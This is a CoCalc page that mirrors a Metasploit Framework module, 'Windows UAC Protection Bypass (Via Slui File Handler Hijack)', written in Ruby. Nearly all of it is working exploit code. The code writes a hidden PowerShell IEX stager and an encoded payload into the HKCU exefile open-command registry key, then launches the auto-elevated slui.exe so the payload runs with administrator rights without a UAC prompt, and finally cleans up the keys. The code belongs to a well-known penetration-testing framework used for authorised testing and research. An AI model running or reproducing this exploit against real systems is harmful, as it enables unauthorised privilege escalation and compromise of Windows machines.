Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_sluihijack.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::Powershell
10
include Post::Windows::Priv
11
include Post::Windows::Registry
12
include Post::Windows::Runas
13
14
SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze
15
SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze
16
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
17
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
18
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
19
SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze
20
CMD_MAX_LEN = 16383
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
27
'Description' => %q{
28
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
29
the Current User hive, and inserting a custom command that will get invoked when any binary
30
(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
31
to file handler hijacking. When we run slui.exe with changed Registry key
32
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
33
instead of slui.exe.
34
35
The module modifies the registry in order for this exploit to work. The modification is
36
reverted once the exploitation attempt has finished.
37
38
The module does not require the architecture of the payload to match the OS. If
39
specifying EXE::Custom your DLL should call ExitProcess() after starting the
40
payload in a different process.
41
},
42
'License' => MSF_LICENSE,
43
'Author' => [
44
'bytecode-77', # UAC bypass discovery and research
45
'gushmazuko', # MSF & PowerShell module
46
],
47
'Platform' => ['win'],
48
'SessionTypes' => ['meterpreter'],
49
'Targets' => [
50
['Windows x86', { 'Arch' => ARCH_X86 }],
51
['Windows x64', { 'Arch' => ARCH_X64 }]
52
],
53
'DefaultTarget' => 0,
54
'References' => [
55
['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],
56
['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']
57
],
58
'DisclosureDate' => '2018-01-15',
59
'Compat' => {
60
'Meterpreter' => {
61
'Commands' => %w[
62
stdapi_sys_process_execute
63
]
64
}
65
},
66
'Notes' => {
67
'Reliability' => UNKNOWN_RELIABILITY,
68
'Stability' => UNKNOWN_STABILITY,
69
'SideEffects' => UNKNOWN_SIDE_EFFECTS
70
}
71
)
72
)
73
end
74
75
def check
76
version = get_version_info
77
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)
78
CheckCode::Appears
79
else
80
CheckCode::Safe
81
end
82
end
83
84
def exploit
85
# Validate that we can actually do things before we bother
86
# doing any more work
87
check_permissions!
88
89
commspec = 'powershell'
90
registry_view = REGISTRY_VIEW_NATIVE
91
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
92
93
# Make sure we have a sane payload configuration
94
if sysinfo['Architecture'] == ARCH_X64
95
if session.arch == ARCH_X86
96
# On x64, check arch
97
commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
98
if target_arch.first == ARCH_X64
99
# We can't use absolute path here as
100
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
101
psh_path = 'powershell.exe'
102
end
103
end
104
if target_arch.first == ARCH_X86
105
# Invoking x86, so switch to SysWOW64
106
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
107
end
108
elsif target_arch.first == ARCH_X64
109
# if we're on x86, we can't handle x64 payloads
110
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
111
end
112
113
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
114
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
115
end
116
117
case get_uac_level
118
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
119
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
120
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
121
fail_with(Failure::NotVulnerable,
122
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
123
when UAC_DEFAULT
124
print_good('UAC is set to Default')
125
print_good('BypassUAC can bypass this setting, continuing...')
126
when UAC_NO_PROMPT
127
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
128
shell_execute_exe
129
return
130
end
131
132
payload_value = rand_text_alpha(8)
133
psh_path = expand_path(psh_path)
134
135
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
136
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
137
138
if psh_payload.length > CMD_MAX_LEN
139
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
140
end
141
142
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
143
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
144
145
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
146
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
147
148
if existing.empty?
149
registry_createkey(SLUI_WRITE_KEY, registry_view)
150
end
151
152
print_status('Configuring payload and stager registry keys ...')
153
unless exist_delegate
154
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
155
end
156
157
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
158
registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
159
160
# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
161
cmd_path = expand_path(commspec)
162
cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
163
print_status("Executing payload: #{cmd_path} #{cmd_args}")
164
165
# We can't use cmd_exec here because it blocks, waiting for a result.
166
client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
167
168
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
169
# TODO: fix this up to use something smarter than a timeout?
170
sleep(3)
171
172
handler(client)
173
174
print_status('Cleaning up ...')
175
unless exist_delegate
176
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
177
end
178
if existing.empty?
179
registry_deletekey(SLUI_DEL_KEY, registry_view)
180
else
181
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
182
end
183
registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
184
end
185
186
def check_permissions!
187
unless check == Exploit::CheckCode::Appears
188
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
189
end
190
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
191
# Check if you are an admin
192
# is_in_admin_group can be nil, true, or false
193
print_status('UAC is Enabled, checking level...')
194
vprint_status('Checking admin status...')
195
admin_group = is_in_admin_group?
196
if admin_group.nil?
197
print_error('Either whoami is not there or failed to execute')
198
print_error('Continuing under assumption you already checked...')
199
elsif admin_group
200
print_good('Part of Administrators group! Continuing...')
201
else
202
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
203
end
204
205
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
206
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
207
end
208
end
209
end
210
211